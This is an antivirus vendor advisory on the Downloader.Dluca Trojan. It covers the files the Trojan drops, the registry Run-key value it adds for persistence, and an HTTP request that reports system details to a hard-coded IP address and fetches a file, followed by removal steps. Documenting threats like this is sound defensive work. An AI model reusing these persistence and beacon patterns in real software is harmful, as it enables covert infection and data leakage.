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Downloader.Dluca

Category 1
Discovered on: August 19, 2003
Last Updated on: May 04, 2005 02:29:39 PM

Downloader.Dluca is a downloader Trojan Horse that sends information about your computer to a specific Web site and creates a shortcut on your Windows desktop.

Also Known As: TrojanDownloader.W32.Dluca.e [KAV]
Type: Trojan Horse
Infection Length: 29185
Systems Affected: Windows 2000, Windows 95, Windows 98, Windows Me, Windows NT, Windows XP
Systems Not Affected: Linux, Macintosh, Microsoft IIS, OS/2, UNIX, Windows 3.x

protection
  • Virus Definitions (LiveUpdate™ Weekly)
  • August 19, 2003

  • Virus Definitions (Intelligent Updater)
  • August 19, 2003

    threat assessment

    Wild

    Threat Metrics

    Low Low Low

    Wild:
    Low

    Damage:
    Low

    Distribution:
    Low

    technical details

    When Downloader.Dluca runs, it does the following:

    1. Copies itself as the following files:
      • %System%\Winde.exe
      • %System%\Winde-uninstall.exe

    2. Adds the value:

      "winde"="%System%\winde.exe /noconnect"

      to the registry key:

      HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

    3. Adds the values:

      "UninstallString"="%Sytem%\winde-uninstall.exe /uninstall"
      "DisplayName"="winde"


      to the registry key:

      HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Winde

    4. Adds the values:

      "MIMETYPE_DESCRIPTION"=".wxx"
      "ICN"="Y"

      to the registry key:

      HKEY_CURRENT_USER\Software\Winde

    5. Sends information about your computer to 204.177.92.204 using port 80 and downloads a file. The HTTP request looks like this:

      GET /w/getclientid?srv=winde&ver=0,0,0,70&pin=999997&OSInfo=
      Windows_4.10.67766446__A__PlatformID_1&GMC=1061242491 HTTP/1.1


    6. Creates a shortcut, link, or icon of SEXY GIRLS.URL in these locations:
      • Program Files\Dialers\Links\Winde.Ico
      • %Windows%\Desktop\Sexy Girls.Url
      • %Windows%\Favorites\Sexy Girls.Lnk

    recommendations

    Symantec Security Response encourages all users and administrators to adhere to the following basic security "best practices":

    • Turn off and remove unneeded services. By default, many operating systems install auxiliary services that are not critical, such as an FTP server, telnet, and a Web server. These services are avenues of attack. If they are removed, blended threats have less avenues of attack and you have fewer services to maintain through patch updates.
    • If a blended threat exploits one or more network services, disable, or block access to, those services until a patch is applied.
    • Always keep your patch levels up-to-date, especially on computers that host public services and are accessible through the firewall, such as HTTP, FTP, mail, and DNS services (for example, all Windows-based computers should have the current Service Pack installed.). Additionally, please apply any security updates that are mentioned in this writeup, in trusted Security Bulletins, or on vendor Web sites.
    • Enforce a password policy. Complex passwords make it difficult to crack password files on compromised computers. This helps to prevent or limit damage when a computer is compromised.
    • Configure your email server to block or remove email that contains file attachments that are commonly used to spread viruses, such as .vbs, .bat, .exe, .pif and .scr files.
    • Isolate infected computers quickly to prevent further compromising your organization. Perform a forensic analysis and restore the computers using trusted media.
    • Train employees not to open attachments unless they are expecting them. Also, do not execute software that is downloaded from the Internet unless it has been scanned for viruses. Simply visiting a compromised Web site can cause infection if certain browser vulnerabilities are not patched.

    removal instructions

    The following instructions pertain to all current and recent Symantec antivirus products, including the Symantec AntiVirus and Norton AntiVirus product lines.

    1. Disable System Restore (Windows Me/XP).
    2. Update the virus definitions.
    3. Restart the computer in Safe mode or VGA mode
    4. Run a full system scan and delete all the files detected as Downloader.Dluca.
    5. Delete the value that was added to the registry Run key.
    For specific details on each of these steps, read the following instructions.

    1. Disabling System Restore (Windows Me/XP)
    If you are running Windows Me or Windows XP, we recommend that you temporarily turn off System Restore. Windows Me/XP uses this feature, which is enabled by default, to restore the files on your computer in case they become damaged. If a virus, worm, or Trojan infects a computer, System Restore may back up the virus, worm, or Trojan on the computer.

    Windows prevents outside programs, including antivirus programs, from modifying System Restore. Therefore, antivirus programs or tools cannot remove threats in the System Restore folder. As a result, System Restore has the potential of restoring an infected file on your computer, even after you have cleaned the infected files from all the other locations.

    Also, a virus scan may detect a threat in the System Restore folder even though you have removed the threat.

    For instructions on how to turn off System Restore, read your Windows documentation, or one of the following articles:
    For additional information, and an alternative to disabling Windows Me System Restore, see the Microsoft Knowledge Base article, "Antivirus Tools Cannot Clean Infected Files in the _Restore Folder," Article ID: Q263455.

    2. Updating the virus definitions
    Symantec Security Response fully tests all the virus definitions for quality assurance before they are posted to our servers. There are two ways to obtain the most recent virus definitions:
    • Running LiveUpdate, which is the easiest way to obtain virus definitions: These virus definitions are posted to the LiveUpdate servers once each week (usually on Wednesdays), unless there is a major virus outbreak. To determine whether definitions for this threat are available by LiveUpdate, refer to the Virus Definitions (LiveUpdate).
    • Downloading the definitions using the Intelligent Updater: The Intelligent Updater virus definitions are posted on U.S. business days (Monday through Friday). You should download the definitions from the Symantec Security Response Web site and manually install them. To determine whether definitions for this threat are available by the Intelligent Updater, refer to the Virus Definitions (Intelligent Updater).

      The Intelligent Updater virus definitions are available: Read "How to update virus definition files using the Intelligent Updater" for detailed instructions.

    3. Restarting the computer in Safe mode or VGA mode

    Shut down the computer and turn off the power. Wait for at least 30 seconds, and then restart the computer in Safe mode or VGA mode.
    • For Windows 95, 98, Me, 2000, or XP users, restart the computer in Safe mode. For instructions, read the document, "How to start the computer in Safe Mode"
    • For Windows NT 4 users, restart the computer in VGA mode.

    4. Scanning for and deleting the infected files
    1. Start your Symantec antivirus program and make sure that it is configured to scan all the files.
    2. Run a full system scan.
    3. If any files are detected as infected with Downloader.Dluca, click Delete.

    5. Deleting the value from the registry

    CAUTION: Symantec strongly recommends that you back up the registry before making any changes to it. Incorrect changes to the registry can result in permanent data loss or corrupted files. Modify the specified keys only. Read the document, , "How to make a backup of the Windows registry," for instructions.
    1. Click Start, and then click Run. (The Run dialog box appears.)
    2. Type regedit

      Then click OK. (The Registry Editor opens.)

    3. Navigate to the key:

      HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

    4. In the right pane, delete the value:

      "winde"="%System%\winde.exe /noconnect"

    5. Exit the Registry Editor.

    Revision History:

    August 27, 2003: Updated removal instructions for Safe Mode.


    Write-up by: Hiroshi Shinotsuka